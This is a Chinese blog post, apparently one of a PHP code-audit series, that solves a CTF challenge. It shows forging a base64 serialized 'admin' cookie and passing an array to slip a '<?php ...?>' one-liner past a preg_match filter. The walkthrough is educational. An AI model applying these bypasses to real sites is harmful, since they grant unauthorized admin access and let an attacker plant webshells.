PHP代码审计分段讲解(14)
30题利用提交数组绕过逻辑
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | <?php $role = "guest" ; $flag = "flag{test_flag}" ; $auth = false; if (isset( $_COOKIE [ "role" ])){ $role = unserialize( base64_decode ( $_COOKIE [ "role" ])); if ( $role === "admin" ){ $auth = true; } else { $auth = false; } } else { $role = base64_encode (serialize( $role )); setcookie( 'role' , $role ); } if ( $auth ){ if (isset( $_POST [ 'filename' ])){ $filename = $_POST [ 'filename' ]; $data = $_POST [ 'data' ]; if (preg_match( '[<>?]' , $data )) { die ( 'No No No!' . $data ); } else { $s = implode( $data ); if (!preg_match( '[<>?]' , $s )){ $flag = 'None.' ; } $rand = rand(1,10000000); $tmp = "./uploads/" .md5(time() + $rand ). $filename ; file_put_contents ( $tmp , $flag ); echo "your file is in " . $tmp ; } } else { echo "Hello admin, now you can upload something you are easy to forget." ; echo "<br />there are the source.<br />" ; echo '<textarea rows="10" cols="100">' ; echo htmlspecialchars( str_replace ( $flag , 'flag{???}' , file_get_contents ( __FILE__ ))); echo '</textarea>' ; } } else { echo "Sorry. You have no permissions." ; } ?> |
首先给出了$role和$auth的初始值
1 2 | $role = "guest" ; $auth = false; |
如果在COOKIE中没有传值的话,就会进入else,将初始值设定在COOKIE里
1 2 3 4 | else { $role = base64_encode (serialize( $role )); setcookie( 'role' , $role ); } |
从后面的逻辑上看,我们需要令
1 | $auth =true |
所以需要手动传入role值,通过逻辑
1 2 3 4 5 6 7 8 9 | if (isset( $_COOKIE [ "role" ])){ $role = unserialize( base64_decode ( $_COOKIE [ "role" ])); if ( $role === "admin" ){ $auth = true; } else { $auth = false; } } |
这里对传入的 role 进行base64解密后反序列化,将结果赋值给$role
1 | $role = unserialize( base64_decode ( $_COOKIE [ "role" ])); |
然后想要令
1 | $auth =true |
前提条件为:
1 | $role === "admin" |
这个是我们可以控制的
编写代码
1 2 3 4 5 | <?php $role = 'admin' ; $role1 = base64_encode (serialize( $role )); echo $role1 ; ?> |
得到
role=czo1OiJhZG1pbiI7
可以看到成功绕过了第一个点
继续往下看
当 $auth 为 true的时候,进行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | if (isset( $_POST [ 'filename' ])){ $filename = $_POST [ 'filename' ]; $data = $_POST [ 'data' ]; if (preg_match( '[<>?]' , $data )) { die ( 'No No No!' . $data ); } else { $s = implode( $data ); if (!preg_match( '[<>?]' , $s )){ $flag = 'None.' ; } $rand = rand(1,10000000); $tmp = "./uploads/" .md5(time() + $rand ). $filename ; file_put_contents ( $tmp , $flag ); echo "your file is in " . $tmp ; } } |
可以看出来是上传文件的代码,具体为:
传入文件名和文件内容:filename 和 data
1 2 3 | if (isset( $_POST [ 'filename' ])){ $filename = $_POST [ 'filename' ]; $data = $_POST [ 'data' ]; |
判断$data中是否有一句话木马标识,有的话则退出
1 2 3 | if (preg_match( '[<>?]' , $data )) { die ( 'No No No!' . $data ); } |
没有的话 else 结构,这里有一句
1 | $s = implode( $data ); |
应该是上传一句话木马的突破点。
关于 implode()函数,有:
定义:
implode()函数返回由数组元素组合成的字符串
示例:
1234<?php
$arr
=
array
(
'Hello'
,
'World!'
,
'Beautiful'
,
'Day!'
);
echo
implode(
" "
,
$arr
);
?>
输出:
1Hello World! Beautiful Day!
而我们在前面的代码审计中,知道preg_match()函数只能处理字符串,当传入的变量是数组是会返回false,这里正好满足,可以编写代码测试
1 2 3 4 5 6 7 8 | <?php $data []= '<?php phpinfo();?>' ; if (preg_match( '[<>?]' , $data )) { die ( 'No No No!' . $data ); } else { echo "yes!" ; } ?> |
输出为
1 2 3 | yes! PHP Warning: preg_match() expects parameter 2 to be string, array given in /usercode/file.php on line 3 |
虽然有警告,但是还是成功绕过了。
这里的代码
1 2 3 | if (!preg_match( '[<>?]' , $s )){ $flag = 'None.' ; } |
表示如果变量$s中没有匹配到特定字符的话就令$flag为空,这样在后面的文件写入时,也不能获取到flag了。
1 2 3 | $rand = rand(1,10000000); $tmp = "./uploads/" .md5(time() + $rand ). $filename ; file_put_contents ( $tmp , $flag ); |
这里是生成一个随机的文件名,并且将 flag 内容写进去
最后是输出文件名
1 | echo "your file is in " . $tmp ; |
我们绕过后 flag 会写入到 文件名随机生成的文件中,该文件名最后是可知的。
按照之前分析的过程,很容易可以构建出payload
访问获取flag
结束
__EOF__

本文作者:春告鳥
本文链接:https://www.cnblogs.com/Cl0ud/p/13393754.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
本文链接:https://www.cnblogs.com/Cl0ud/p/13393754.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!